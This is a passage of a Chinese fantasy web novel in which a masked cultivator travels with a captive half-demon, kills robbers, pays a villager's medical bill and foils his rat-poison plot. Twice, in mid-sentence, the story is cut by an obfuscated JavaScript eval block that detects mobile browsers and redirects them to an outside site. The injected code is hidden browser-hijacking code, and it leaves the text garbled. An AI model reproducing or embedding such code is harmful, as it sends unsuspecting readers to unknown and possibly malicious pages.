韩纪闲踱着步走到他身侧,道:“你杀不了我,我动不得你。不如这样,我们和平共处,待到我功法恢复,你将金魄神珠给我,我也给你解开锁妖契,还你自由身,如何?” 半妖盯着韩纪的脸,阴恻恻道:“有本事你不要用锁妖契,你把它解开我就把金魄神珠给你。” “我永远不会相信一只妖。”韩纪蹲下身,直视着他的眼睛,微微挑眉,“你不要敬酒不吃吃罚酒。” 漆黑的双眸之中惊恐与愤怒逐渐褪去,一抹狡黠的神色渐渐染上眉眼。 半妖冷笑威胁:“你留我在你身边,我一定会杀了你。” 冰冷的声音伴随着他口中的热气滑过韩纪的脖颈,好像一条毒蛇。 只不过是一条快被煮熟的毒蛇。 破庙外,大雨倾盆,破庙内,火如红舌。 韩纪盯了他半晌,未做言语,移开目光,坐到火边。 半妖如盯贼一般紧盯着她的动作,忽然看见她撕破的外裙和里头白色的内衫。 内衫短了一截。 他眼睛低垂着,目光落到自己胸前包扎伤口的白布上,眼珠一转,嘲讽的话便脱口而出:“还名门贵子呢,穿得破破烂烂,饭都吃不饱……” 话未说完,几根还未燃尽的木柴便朝他兜头盖脸地砸来。 火星飞溅,半妖慌乱闪避,狼狈不已。 韩纪道:“你倒是有天资,怎么被人像狗一样锁在笼子里?” 半妖拍打去衣裳上沾的火星,面色愠怒,正要出言反驳,又听得她冷冷笑道:“若非我心慈手软放你一马,你还有命在这里多嘴。” 半妖张嘴想说些什么,可话失先机,说什么都不占上风,只能坐在阴影里,不再言语。 庙外,雨声渐弱、蛙声四起、青山绿水之间,闪出几个身影,正朝土地庙疾步而来。 有血腥味。 韩纪眉头皱起,挥灭篝火,朝半妖递了一个眼神翻身上梁。 紧闭的庙门被一脚踹开,潮湿的水汽扑进庙中,干草纷乱,烟尘四起。 三个大汉先后走进庙里,身上俱被雨水打湿。 头戴斗笠的汉子摘下斗笠,将朴刀往沉旧的木桌上一扔,对着正中间的土地公泥像恳恳礼拜。 另外二人各执长枪短剑,在方才韩纪坐过的地方坐下,一人惊诧道:“瞧着木炭还热,为何不见烧火人?” 另一个人便道:“怕是见了咱三弟兄遁走喽,我等可是十里八乡难遇的好心人,美名远扬。若是有财物留下东西来,咱三包管送到家门,若无财物么,咱三也是好人当到底,送佛送到西。” 一人又道:“如今嘉州城首富徐云石广邀请天下名士前往除妖捉鬼,咱明日动身前往,说不准便可享尽荣华富贵。” 那烧香礼拜的汉子转过身来,斥道:“神佛之前,慎言慎言!” 另外二人慌忙收了声,一边又将篝火燃起,一边用眼睛来递话。 韩纪听了个大概,心知这三名汉子并非良善之辈,仰面躺在房梁上,只待他们睡去再做打算。 身侧忽然传来砰的一声,她偏头瞧去,另一根房梁上哪还有人在。 那只半妖摔在地上,龇牙咧嘴。 半妖甫一落地,三名大汉便抄家伙将他团团围住。 锋利的朴刀搭在他的肩头,为首之人道:“小兄弟,相逢即是有缘,奉上钱财,饶你性命。” 韩纪在心中为他祈祷,幸灾乐祸时却对上了半妖的眼睛。 她用嘴型对他道:“求我。” 那意思是,他若求她,她便大发慈悲救他一命。 只是她脸上的笑容还未散去,那只被猪油蒙了心肝的半妖便颤声道:“诸位大人,小的为奴为仆,哪有半分钱财。我家主人身上倒是有不少宝贝,你们要是有能耐找她去讨,只不过她还同我说,你们这样的她一个人可以打十个,正等着你们睡着她就要杀了你们哩。” 韩纪心中将这只半妖的祖宗十八代都问了个遍。 她就该把他眼睛挖出来,管他去死! 三人一听,即刻左右四顾,骂道:“你主人好大的口气,让她滚出来受死!” 半妖被吓破了胆,露出身上的伤口,求饶道:“诸位大人千万别杀我,我主人不给我吃穿,对我非打即骂,实在是她以我性命相逼,我才来监视大人们!可我听大人说,你们都是难得的大好人,不忍你们丧命于此,这才舍却性命与你们如实相告,诸位大人快快逃命去吧!” 拿着长枪的一听,仰头大笑道:“真是好生狂妄,你莫怕,大人们今天不杀你,先杀了你主人消气!你告诉我你主人在何处!” 半妖指着房梁,卑怯地答道:“便在房梁之上。” 眼见暴露,韩纪也不再隐藏,轻巧地从房梁之上跳下,立在三人跟前,笑问:“各位大哥,敢问嘉州城往何处去啊?” 三人原本以为这小奴的主人多少也是个暴戾的汉子,猛不丁瞧见一个戴着面具的姑娘,心中先是一惊,而后满脸讥笑:“大哥?你不是说你一个人能打十个么?” 韩纪白了那半妖一眼,走到他身侧,重重踹了他一脚:“各位大哥莫怪,我家这仆从自小生病烧坏了脑袋,一天天胡说八道,自找死路。小女子是沧州人氏,准备往嘉州城去寻亲,路上盘缠因着这仆从损失不少,这才寻了这处破庙躲雨避风。若是各位大哥不弃,小女子愿将身上财物悉数献出,只求大哥为小女子指一条去嘉州城的明路。” 说罢,韩纪将身上仅剩的几枚铜板奉上。 为首的汉子接过铜板在手中掂了掂,与左右立着的两名大汉各递了一个眼神,三人便持剑携枪地朝韩纪一步一步走近:“你说这是你的全部钱财?方才我分明瞧见你怀中还有一个锦囊,让哥哥们给你检查检查,若是没了其他财物,我们再放你过去。” 韩纪见这三人得了钱财却还贪得无厌,收了脸上的好脸色,握住腰侧的青木杖,冷声道:“好一群不识趣的毛贼,现下你们要是交出身上财宝,我可以留你们全尸。” 三个汉子闻声大怒,抄起家伙便一齐拥来。 朴刀横砍,长枪直刺,短剑斜劈,兵器相接之声叮叮当当,乒乒乓乓,将地上的篝火打得四散。 火光一时灭去,土地庙内一片漆黑,轰隆一声,电闪雷鸣,照得庙内一时之间亮如白昼。 就着光亮,三汉子发觉方才劈砍之处空无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941772|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人,随即背靠背旋开身来在庙中找寻韩纪身影。 三人绕着神台转了两圈,忽听得那仆从在黑暗中笑道:“真是瞎子,方才还在拜神,现在又瞧不见。” 三人闻言齐齐往神台上看去。 电光火石之间,一个身影举杖扑来。 那步伐不似活物,倒真像土地公显灵,唬得三汉子各自奔逃。 待到火光再次亮起,刀枪棍棒都被扔在一处。 韩纪翘着二郎腿坐在神台上,三人鼻青脸肿地匍匐在地。 “你瞧,让你们放我走你们不放,让你们交财宝也不交。”韩纪手中舞着青木杖,如同敲木鱼一般挨个敲着三人的脑袋,道,“非要死到临头才肯听话么?” 三人连忙将身上的银钱全部献出,又将干粮堆在一处,连声讨饶道:“女侠饶命,我们还有一家老小需要养活,求女侠放我们回去给老母养老送终,护妻儿平安长大。” 韩纪掂了掂那半袋子银钱,捡了张饼塞进嘴里,挥手让他们快滚。 三人连滚带爬地冲出土地庙,却在迈过土地庙门槛之时倒地不起。 摇曳的火光之下,三支尖锐的木柴已经穿透了他们的脖颈。 “修仙之人干这种烧杀抢掠的事情很顺手嘛。”半妖双手抱胸靠着立柱讥讽。 韩纪一边拨弄火堆烤着饼一边道:“斩草除根,除恶务尽,不杀他们,由得他们继续为非作歹吗?” 半妖又没说过她,白她一眼,不作言语。 韩纪取了张烤软了的饼一边撕成小块一边塞入口中,待到将一张饼吃完,便向他伸出手。 半妖下意识地偏过头,满头墨发在热气吹拂中微微上扬,就像是一只炸毛的狐狸。 他警惕地看着韩纪,冷冷道:“你想干嘛?” 他说完这句话,才发现女人的目光落在自己脸上那冰冷坚硬的口笼上。 她面无表情地说道:“小狐狸,低头。” 她的声音,很冷,却出乎意料的好听。 半妖微微一怔,下意识地低下头去。 他感受到冰冷的指尖划过他脖颈之上,最后按在了他脑后的口笼搭扣之上。 咔哒一声,冰冷的口笼松开。 半妖抬眸,口笼坠地,目中露出不可置信的情绪。 韩纪收回手来,冷冷看着他,半晌才道:“你一定用这张脸骗过很多人吧。” 半妖转头看向燃烧的火焰,找出一张饼在火上烤热,没好气道:“是啊,我就是爱骗人,尤其爱骗女人。她们被我骗得财色尽失,生不如死。你不给我解开锁妖契,有朝一日我一定会杀了你。” 韩纪微微一笑,淡淡道:“我和你打赌,真有那么一天,一定是你死在我手上。” 她说完这句话,正准备起身离开,余光却不经意地瞥过半妖的侧脸。 这一眼,韩纪愣在了原地。 眼前这半妖的侧脸让她恍惚间想起了百年前的一个故人,可她心知,他决计不是那个故人。 那个人已经被她斩于神谕剑下。 良久,韩纪低声道:“你叫什么名字?” 半妖将一块饼塞进嘴里,注视着燃烧的火光,半晌才道:“阿随。” 韩纪随口问道:“哪个随?” 阿随道:“随便的随。” 与他纠缠的这两天里,韩纪看多了他的笑,他的怒,他的狠厉,还是第一次瞧见他的落寞。 温热的火光在他的脸上投下阴影,他的神情居然流露出几分悲苦。 阿随,随便的随。 韩纪品味着这个名字给他带来的伤痛,心中却无半分怜悯。 她抱了一堆干草摆在神台上,躺在干草上休息,良久才道:“我姓楚,小狗就要随主人姓,从今天开始你就叫楚随。” 顿了一顿,她偏头提醒道:“小狐狸,别想带着金魄神珠跑,有锁妖契的控制,你跑不出我的手掌心。我奉劝你一句,不要自讨苦吃。” 7. 黑心女人 凄冷的晨风吹进破庙。 梁木吊在半空之中轻轻晃动。 阿随半挂在远处的一棵树木之上,双脚被草绳紧紧缚住。 他咽了咽口水,猛地将手中短剑掷出。 嗖的一声,短剑穿破庙门,击断悬着梁木的草绳。 砰的一声巨响,梁木重重砸在神台上,碎屑飞溅,烟尘四起。 阿随下意识地挣脱了脚上的草绳,不受控制地奔进庙里,却见神台之上梁木断成两截,该死的黑心女人不知去了何处。 他眉头紧蹙,左右四顾,脖颈之上传来凉意。 一道声音在他脑后响起。 “小狐狸,在找我吗?” 他掷出的短剑此刻轻轻吻着他的咽喉,他眼中的黑心女人手持短剑慢慢从身后走到他眼前。 她面上依然戴着那张红狐面具,那双冰冷的眼睛瞬也不瞬地端详着他的面容。 哧的一响,锋利的短剑划破肌肤,殷红血液如珍珠一般挂在他颈间悬挂的平安锁上。 阿随强忍痛意,讥讽道:“这样都不死,你命真是大。” “有道是飞鸟尽,良弓藏,狡兔死,走狗烹。”韩纪用短剑拍着他的脖颈,道,“哪有狗还没死,主人先死的道理。” 阿随看着她,只觉得她才应该是那只阴险狡诈的狐狸。 良久,他冷冷道:“我告诉你,你要么现在就杀了我,不然让我找到机会,我一定会杀了你。” 短剑没有任何征兆地插入左肩,鲜血汩汩涌出,阿随闷哼一声,疼得青筋暴起,冷汗直冒。 他恶狠狠地瞪视着韩纪,咬牙道:“我……一定会……杀了你……。” 韩纪轻笑:“天下间想杀我的人妖数不胜数,不差你这一个。你要是能真的杀了我,自然最好,但如果杀不了我,我就要在你身上捅个窟窿。” 阿随瞧着她那微微弯起,却毫无笑意的眼睛,心中只觉一阵胆寒。 短剑嗤的一声拔起,血珠飞溅,阿随吃痛弯下身来,半晌说不出话。 韩纪转身坐在被梁木砸得有些塌陷的神台之上,用干草擦拭着短剑上的血液,头也不抬地吩咐道:“把那三个强盗的尸首埋了,我们要赶路了。” 她把他当下人使唤! 阿随气得脸发白,漂亮的眼睛里几乎露出了刀锋一般阴险锐利的凶光。 受锁妖契影响,他又重伤未愈,根本打不过这黑心女人,只得带着一肚子的闷气,捂着流血的伤口,一面在心里将这黑心女人骂了千遍万遍,一面在院子里杂草堆中挖了一个大大的深坑,将三人的尸体埋进其中。 破庙里传来香甜的烤饼气息,阿随偏头看去,只见她正将三个白饼串在短剑上用火焰烤软。 她倒是好好睡了一觉,他为杀她忙活一夜。 现在又冷又饿,又累又痛,闻见这气味,他下意识地咽了咽口水,埋土的动作都快了一些。 待到他将深坑填平,快步走回破庙之中,却见火堆已经熄灭,一把光秃秃的短剑悬在上头,三张烤饼一张都不剩。 他不由得腹诽:“这个黑心女人!实在也太能吃了!” 神台之后的废墟之中传来窸窸窣窣的声音。 阿随心道:“她又在搞什么鬼?” 为免中她的毒计,他提起短剑,屏住气息,蹑手蹑脚地走近,挑开灰暗破损的长幔,定睛往内瞧去,却见胡乱堆砌的枯柴上挂着几件沾满血迹、脏污破损的青色衣裳。 阿随还未反应过来,便见一截修长有力的手臂在柴堆中一闪而过,紧接着,那黑心女人毛茸茸的后脑便出现在枯柴的缝隙之中。 她的脖颈,很细,颈部的青筋突出。 她耳上的红色流苏,一晃一晃。 他的脑海中闪过一个模糊而又冰冷的影子。 万千修竹之中,身着青衫的女子沿着石阶往上走。 她走到哪里,哪里的人便要停住动作,向她行礼。 她的目光落在谁身上,谁就要低下头去,向她俯首称臣。 只可惜,她的目光永远向上,她的脚步从不停留。 “你这个丑八怪,小杂种,脑子摔糊涂了吧?你居然说她是你阿姐?你知不知道她是谁?” “她就是我阿姐!” “好啊!你喊一声阿姐,你看她理不理你。” “喊就喊!” “你喊啊!你是不是心虚了,你自己也会知道她不会理你吧?!” “阿……阿……阿姐!” 黑心女人转过身来,阿随吃了一惊,闭上眼睛,退了出来,一颗心在胸膛之中狂跳不止。 韩纪换上强盗灰白色的衣裳,掀开长幔走出,一面理着过长的袖口,一面吩咐道:“你身上那件衣服窟窿都要比布多了,拿去换上。” 说着将神台之上另一包东西丢给立柱前蹲坐的阿随。 阿随下意识地伸手接过,狐疑地看了一眼韩纪,将短剑插在腰后,掀起长幔走了进去。 他褪下身上带血的黑衣,颇为嫌恶地提起那一件算不得多干净的打着补丁的淡绿色衣裳。 这一提,他便看见了衣服底下放着的伤药瓶和一截白色的布条。 他透过枯柴的缝隙向外看去,只见黑心女人背对着他坐在神台之上,垂着脑袋不知在鼓捣些什么。 沉思片刻,他抵不住身上尖锐的疼痛,拧开药瓶,咬着牙将止血的药粉洒在右肩上的伤口之上,将白色布条在肩上缠牢,这才换上衣服走出。 韩纪听见声响,提起青木杖,头也不回地走出庙门:“拿上东西走。” 阿随走到神台旁边,正要提起包袱,却见那包袱之上放着一张烤饼。 严格说来,这不能算是一张烤饼,只能算作大半张烤饼。 阿随几乎可以想到,这黑心女人是如何一边吃着烤饼一边收拾着包袱,在系好包袱之后,顺手将没吃完的烤饼放在了上面。 她真当他是狗么?! 她以为他会吃她吃过的东西吗?! 阿随拿起烤饼,背起包袱,一边吃一边跟着韩纪往外走去。 二人出了破庙,沿着山路走了小半个时辰,便走到了热闹的小镇之上。 韩纪在路边的小摊之上买着干粮,阿随便站在一旁等她。 他的目光瞥过临街的药铺,放出一丝狡黠的光彩。 他抿了抿唇,走到韩纪身后,试探道:“伤药用完了,我想去买一点,能不能给我些钱——” 韩纪从钱袋中抓了一块碎银,头也未回地赶他:“——去去去,老板肉的肉的肉的我要肉的,不要加糖,要辣的……” 从始至终,她的眼睛始终都只盯着那锅炉之中热气腾腾,洒满了白芝麻和香葱的烧饼。 阿随快步走到药铺之中,将那一块碎银子放在柜上,低声道:“拿两瓶创伤药,再要一包毒药。” 药铺的伙计眉头微蹙,狐疑地问道:“这位客官,你要毒药做什么?” 阿随偏头看向门外,见那黑心女人正在远处的包子铺买包子,这才放下心来,低声道:“拿来毒耗子。” 伙计打消顾虑,将三小只药瓶递了出来,掂了掂那小块碎银,又从钱箱中摸了十几枚铜板递给阿随。 阿随接过铜板,抬脚便往外走,却不曾想一个男人背着一个白发苍苍的老太婆突然冲了出来。 他躲闪不及,被这闷头赶路的男人撞在受伤的肩膀上,疼得倒吸一口凉气。 那男人撞了他,只觉得撞在一堵铜墙铁壁上,却顾不得自己的疼痛,将背上的老太婆放在地上,忙不迭地朝药铺里磕头,边磕头边哭求道:“林大夫,我求求您,您救救我娘吧!” “救人一命胜造七级浮屠,求求您,救救我娘吧!” 阿随往那地上躺着的老太婆脸上看去,只见她双颊凹瘦,面色灰扑扑的如同腐烂的落叶,确实是性命垂危。 正在此时,一个高高瘦瘦的中年男人捋着胡子从药柜后走出,阴沉着脸道:“王老六,我先前为你娘子开安胎药,为你小儿治病,为你治你的腿伤,你都与我赊账,说是什么一定会给!可如今你又背着你娘来找我,你娘我能救,你拿钱来!” 王老六身子猛地打起颤来,待到他抬起头时,已然磕得头破血流,哭得满脸泪水。 他慌慌张张地解释:“林大夫……我知道您是好人……您的大恩大德我王六永世不忘……半年来我们全家省吃俭用终于将欠您的医药费凑齐了,这次原本是要一并带来的……” 林大夫眼睛眯紧:“哦?那药钱呢?” 王老六颤声道:“昨天夜里……一伙强盗闯进了我家……抢走了……全都没有了……”他说着又泪流不止,磕头请求道:“我求求您,林大夫,您行行好,救救我娘吧!” 林大夫冷笑:“既然有强盗,你为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941773|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何不拼死保护银钱?” 王老六努力挺直身子,似乎想证明自己作为男人的英勇,最终却塌下腰去连连磕头:“林大夫……那些强盗拿不到钱就要杀了我的老婆孩子……我也是没有办法,我没有办法呀!您行行好吧!” 林大夫道:“王老六,不是我不想救,我也要养家糊口,如果每一个人都如你一般求我救人,却三番两次地不给银钱,那我拿什么养活我的全家。”说罢,他叹了口气,转身看向身后的伙计,道:“愣着做什么?把人赶出去,别耽误我们做生意。” 三个伙计面露难色,却不敢违抗,一个人抱起老太太的身体往外走,另外两个掰开王老六抓着地板的手,将他往外拖。 药铺里响起了凄厉卓绝的哀嚎声与请求声。 阿随别开视线,那比杀猪还要难听的声音却是清清楚楚地传进他的耳朵中。 忍耐不住,他上前一步,掏出怀中那点铜板,正要开口,却听得门外传来熟悉的声音。 “他的药钱我出。” 伙计停住手中动作,林大夫诧异地抬起头。 堵在药铺门口的人们散开,所有人都循着声音传来的方向望去。 只见一个穿着普通得像套在口袋中的女子一手提着几袋吃食,一手拿着脸大的烧饼往嘴里塞。 脸上的红狐面具灰扑扑脏兮兮的,着实不像个有钱人。 众人的目光来回在这女子周身路过几回,实在不相信会是她说出那样的话。 王老六却好似找到救星一般双眼通红地望着韩纪,又回头去看林大夫。 林大夫上前几步,迈过门槛,冷冷道:“这位姑娘,你夸下海口,可知他欠我多少医药费?” 韩纪咽下烧饼,问:“欠你多少?” 林大夫冷冷道:“他妻子的安胎药、他小儿的伤寒药、他自己的跌打损伤药,前前后后药费加上诊金足足差我八两银子,再加上此次他老娘的病,怕是要过十两银子。” 说罢,他上下打量了眼前这看上去也穷得响叮当的姑娘,略一停顿,续道:“看你也差不多是个穷叫花,如果你能替他付上五两药费,他老娘今日我就给他救了。其余的钱,就当我做好事。” 韩纪将最后的半块烧饼塞进嘴里,腾出手从怀中摸出钱袋,粗略地数了数,恰好还有十五两银子。 她摸出几块碎银与铜板,其余的连着钱袋一起递给他。 林大夫打开钱袋,往里一看,发现多了几两银子,便要往外掏,却被推了回去。 韩纪道:“多余的钱,留着你下次做好事了。” 林大夫眉头一挑,也没拒绝,偏头看向药铺门口的伙计:“把老人家抬进去,我亲自给她诊脉。” 两个伙计闻言连忙将老人家抬了进去,林大夫一掀衣摆,也紧跟而去。 王老六先是看了一眼老娘,见林大夫真在给她诊脉,这才扑到韩纪脚边,放声大哭起来。 “多谢恩人!我王六愿意为你当牛做马,死也甘愿!” 韩纪蹲下身来,将那摸出来的几块碎银放在王老六的手中,道:“这些拿去给你妻儿买点吃食,别没病死,反倒饿死了。” 王老六捧着那两块碎银,双手颤抖,目光在看见那碎银上的牙印之时微微一滞,随即打了个寒噤。 韩纪皱眉道:“怎么?这银子长得面熟?” 王老六伸手抹去脸上泪水,左右四顾,压低声音:“不满恩人,这……这碎银上的牙印就是我妻子咬的,昨夜闯入我们家里的强盗抢走的就是这些银子……不知怎么会在恩人这里。” 韩纪用手掩住口型,狡黠一笑道:“他们打劫我,我顺手把他们杀了。” 她说话的声音很小,却如一根根寒针一般刺进王老六的耳朵之中。 他听了这话,感激的话也忘记说了,流泪的眼睛也不哭了,只呆呆地瞧着韩纪。 与其让他相信眼前这个看上去手无缚鸡之力的小女子能杀死三名大盗,不如让他相信是他梦游杀死了那三名大盗。 在他即将惊呼出声时,韩纪举起手指在唇边一比,示意他不要出声。 见他安静下来,韩纪嘴角微勾,站起身来,朝人群中的阿随招了招手,转身往街上走去。 王老六回过神来,连忙站起身道:“恩人,我还没有报答你呢!” 韩纪没回头,摆摆手道:“我不是你的恩人,林大夫才是。” 8. 自作自受 天色有些暗了,山林中时不时传来野兽的低鸣声。 韩纪将拾来的枯柴堆在石滩上点燃,一缕缕灰黑色的烟自枯柴缝隙中溢出,猩红的火舌从烟雾中探出头来。 火光照亮了韩纪脸上的红狐面具,也将她乌黑的鬓发染成淡淡的红色。 让她整个人看上去像是一片连绵不绝而忧愁的晚霞。 而面具之下,她的眉头也轻轻蹙起。 她能感觉到,五行灵宝中的神木简就在嘉州城中。 先前在小镇上买的干粮这几日已经吃得所剩无几,距离嘉州城却还有很远的距离。 阿随扒开空空如也的行囊,找到最后一块铜板,冷笑挖苦:“你把所有的钱都给了那药铺老板的时候,有没有想过今天我们会饿肚子。” 韩纪正用匕首将木棒削尖,听见他的话,头也没抬:“谁说我们会饿肚子?” 阿随惊疑道:“你的意思是你会挣钱?” 笑容虚假,语声讥讽,尽是挑衅。 韩纪偏头看着他。 火光中,他略显苍白的面色显得有些红润,身上单薄的淡绿色衣裳紧紧贴着肌肤,脖颈与肩上的伤口虽已结痂,却还是在缠绕伤口的布条上留下了点点鲜红的血迹。 配上他颈间的银锁,不像只妖怪,倒像个漂亮的小姑娘。 比血液还要刺眼的火焰在他眼中跳动,那样尖锐而耀眼的眼睛里映出她的身影。 那个人的身影又在韩纪脑海中浮现。 韩纪别开目光,淡淡道:“明日到集市上把你的平安锁卖了。” 阿随猛地抬起头来,攥住小小的平安锁,怒道:“你想都不要想!不如杀了我!” 韩纪本就是说笑,见他如此紧张,猜测那平安锁恐怕是他父母留给他的,便道:“不想我想,就少说点风凉话。” 阿随怒气未消,下意识地想说两句堵她的嘴,却又害怕眼前的黑心女人做出什么事来,压着一肚子火气闭口不言。 韩纪瞥了一眼他气得几乎要变形的脸,挽起裤脚,脱了鞋袜与外衣,站起身来,拿起尖棒,走进冰凉清澈的溪水之中。 阿随坐在石头上看着她倒映在溪面的身影,缓缓松开平安锁,心中不自觉地打起算盘。 韩纪恰好偏头,瞥见他脸上挂着淡淡笑容。 她心中生疑,暗暗想到:“这没米没面的时候,他有什么好笑的?” 这个念头在她脑海中一闪而过,消失得无影无踪。 她做什么要去关心一只半妖在想些什么呢? 这与她本就是毫无关系的。 阿随小心翼翼地观察着她的动作,战战兢兢地从怀中掏出那包老鼠药,屏息凝神地展开后倒进其中一瓶创伤药中。 待到瓶子装满,他便将包老鼠药的纸揉成一团丢进火中,随即又将另外一瓶创伤药上贴的红纸撕掉,方才把两瓶创伤药放进行囊之中。 “喂,你抓到鱼了吗?”阿随试探道。 溪水声音有些大,韩纪并没有回答他。 他找了根木棒,削尖了两头,剥去鞋袜,轻手轻脚地走进溪水之中。 月亮已经升起来了。 月光落在清澈的溪水之中,照得水中的双足如同白玉一般亮晶晶的。 略有些湍急的溪水冲刷着岸边圆石,发出巨响。 阿随屏住呼吸,提起手中尖木对准韩纪的后心,却因锁妖契的原因无论如何也使不上力。 好在,他原本也已经做好准备,有这锁妖契在,他伤害不了她。 他只要吓她一跳,让她脚滑就好了。 阿随又走近两步,正要在她耳畔开口大喊,却不曾想韩纪竟在这时高高举起尖木猛然下刺。 水花飞溅,他吃了一惊,不慎踩在水中一块圆滑的石头上,不受控制地往后跌去。 身后陡然传来哗啦啦的巨响,韩纪下意识偏头一瞥,正想伸手拉他,却不曾想他向后跌倒之时,身子被溪水裹挟着又往前移动了一些,双脚直直踹在韩纪小腿上。 她一时不察,连人带鱼带尖木摔进水中。 扑通一声,冰冷的水花溅起。 韩纪听见了一声若有若无的惨叫,睁开眼来,只见溪水之中有红蛇游动,爬起身时,才发现脚下的小半片溪水已被鲜血染红。 她惊愕地低头看去,只见阿随仰面飘浮在溪水之中,面色惨白,双眼紧闭。 尖木贯穿了他的胸膛,朝向天空的一端插着一尾小鱼。 韩纪将他拖回岸上,借着火光拔出插在他胸口的尖木,抓来自己的外衣揉作一团堵住血洞,单手捻诀施法替他止血。 不多时,滴滴汗水顺着她的下颌从面具下滴落。 灵力耗尽,她眼前一黑,晕了过去。 好在只晕了一会儿。 片刻后,她捂着钝痛的胸口爬起,将被血液染得湿红的衣裳丢到一旁,扒开阿随的衣裳,却见到他胸膛上一新一旧两道伤口。 新的那个,是她手中木刺捅开的,血淋淋的像个黑洞。 旧的那个,创口平整,缝得也很漂亮,不像是意外的伤口,倒像是……被医术很高明的大夫剖开胸膛,取出了什么东西,又再缝合上。 汩汩流出的血没给韩纪太多思考的时间,她翻出行囊中的衣裳再次堵住血洞,好半晌见伤口没有继续渗血,才伸手费力够来另一个装药的行囊,在里头翻找着药瓶。 韩纪翻出了两个几乎一模一样的药瓶,只能凭借着药瓶上沾着的红纸辨别用途。 她拔开那写着创伤药的药瓶瓶塞,先是闻见了一股奇怪的味道。 紧接着,那独属于创伤药的淡淡药香味便从这奇异的味道中溢了出来。 左右这伤药是他自己买的,韩纪没想太多,将药粉均匀地抖落在他伤口上,从内衫上撕下一条白布将伤口包扎好,这才捡起湿透的衣裳走到溪边将血水洗净。 阿随醒来的时候,火堆即将熄灭,月轮依然明亮,夜风中漂浮着淡淡的鱼肉香气。 胸口传来的疼痛让他喘不过气,他挣扎着坐起,发现自己上身除去几处伤口上缠着的白布条外,几乎是不着寸缕。 他左右四顾,只见左手边靠近火堆之处有一个三根木头搭成的晾衣杆。 自己的衣裳和那黑心女人的衣裳都搭在上头烤火。 一阵夜风吹过,垂落的麻布衣裳在风中上下翻飞。 阿随定睛看去,只见那黑心女人穿着一件单薄的中衣蹲在火边烤着鱼儿。 火光照得她脸上面具红通通的,她耳垂上的流苏耳坠就像是雀跃的红蛇。 红色的蛇,有毒的蛇,无声无息的蛇,正慢慢朝他吐信。 他的心猛烈地紧缩,似乎被谁伸手握住。 韩纪见他醒了,径直朝他走来,将烤鱼递到他手边,冷冷道:“把鱼吃了,伤口很快就长好了。”< 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她说完此话,见阿随一言不发地看着她,怕他不信,补充道:“你受了伤,作为主人我第一时间给你上了药……” 阿随身子一震,脸色大变,失声道:“你给我上了什么药?!” 韩纪伸手一指:“创伤药。” 阿随几乎怀疑韩纪是故意折磨他了。 但他还是耐着性子问:“是有字的那瓶,还是没字的那瓶?” 韩纪道:“随便拿了一瓶。” 语声一顿,她偏头看向他,疑道:“有什么不一样?” 阿随有苦难言,欲哭无泪,只好咬掉牙齿和血吞,故作轻松地说道:“都是创伤药,你用得对。” 韩纪心知他这只小狐狸道行不够,如今又受了伤,翻不出什么水花,便也懒得管他。 将他的衣裳抛给他,又将自己烤干了的衣裳穿在身上,往燃烧的火堆之中加了几把柴火,她便枕着还算柔软的包袱闭眼休息。 阿随见韩纪转过身去背对着自己,小心翼翼地解开胸前的绑带,检查自己的伤口。 果然,红通通的伤口上盖着一层药粉,只可惜这药粉并不是创伤药,而是有毒的老鼠药。 此刻,他与老鼠药接触的伤口处的血肉都渗出黑血,发出臭气。 阿随提起短剑,拿起药瓶,咬牙忍痛,蹑手蹑脚地走到溪边。 他回头见黑心女人一动不动地躺着,这才放心伸手掬水洗去伤口上有毒的药粉。 寒冷的溪水触碰到伤口,阿随打了一个寒颤,却也不敢出声。 待到将药粉洗净,他颤抖着拔出短剑,准备剜去伤口上与毒药粉接触的血肉。 嗤的一声,短剑的剑锋刺进伤口处的血肉。 阿随疼得倒吸冷气,满头大汗沁出,连握着短剑的手都在颤抖,却不敢发出半点声音,心中不由得又将那个睡大觉的黑心女人从头到尾骂了一遍。 稍稍解了解气,稳住心神,他正欲发力剜去染毒的血肉,目光在水面一瞥而过,却见泛起涟漪的水面上映出一个模糊的影子。 一个冷冰冰的声音在他身后响起。 “小狐狸,我同你说过的,如果杀不了我,我就要在你身上捅个窟窿。” 9. 一念之差 阿随僵硬地坐在岸边。 夜风吹着他凌乱的发,月光将他脸上细密的汗珠照得如珍珠一般莹润。 韩纪缓缓在他身前蹲下,一言不发地盯着他。 阿随颤声道:“要杀便杀……要剐便剐……废什么话——唔!” 话音未落,嗤的一声,短剑刺入伤口,黑血如同绦虫一般从他身体中钻出。 本就惨白的面庞瞬间失去所有光彩。 阿随眉头紧皱,表情狰狞,青筋暴起,身子如筛糠一般抖动,却瞪视着她,紧咬牙关,将所有的痛呼声锁在咽喉之中。 “这个该死的黑心女人……” 他在心里极尽所能地咒骂她,却没办法发出一点声音。 寂静的夜里,只有夜风沙沙声,溪水潺潺声,和他喉咙中一下又一下的吸气声。 血肉一块一块地掉落在地,发出扑簌簌的声响。鲜血流进溪水之中,如同一条漂亮鲜艳的红绸。 又是嗤的一响,韩纪拔出短剑,站起身来,垂眼看着他。 阿随仰视着她,血红的双眼里恨意纠缠。 他不怕她! 他谁也不怕! “你故意的。”阿随咬牙狠狠道,“你明明知道那药有毒,你就是故意的!” 韩纪道:“你活该的。” 呛啷一声,她将短剑丢在石滩上,转身弯腰掬水洗净手掌。 阿随盯着她的背影,只觉将她大卸八块也难消心头之恨。 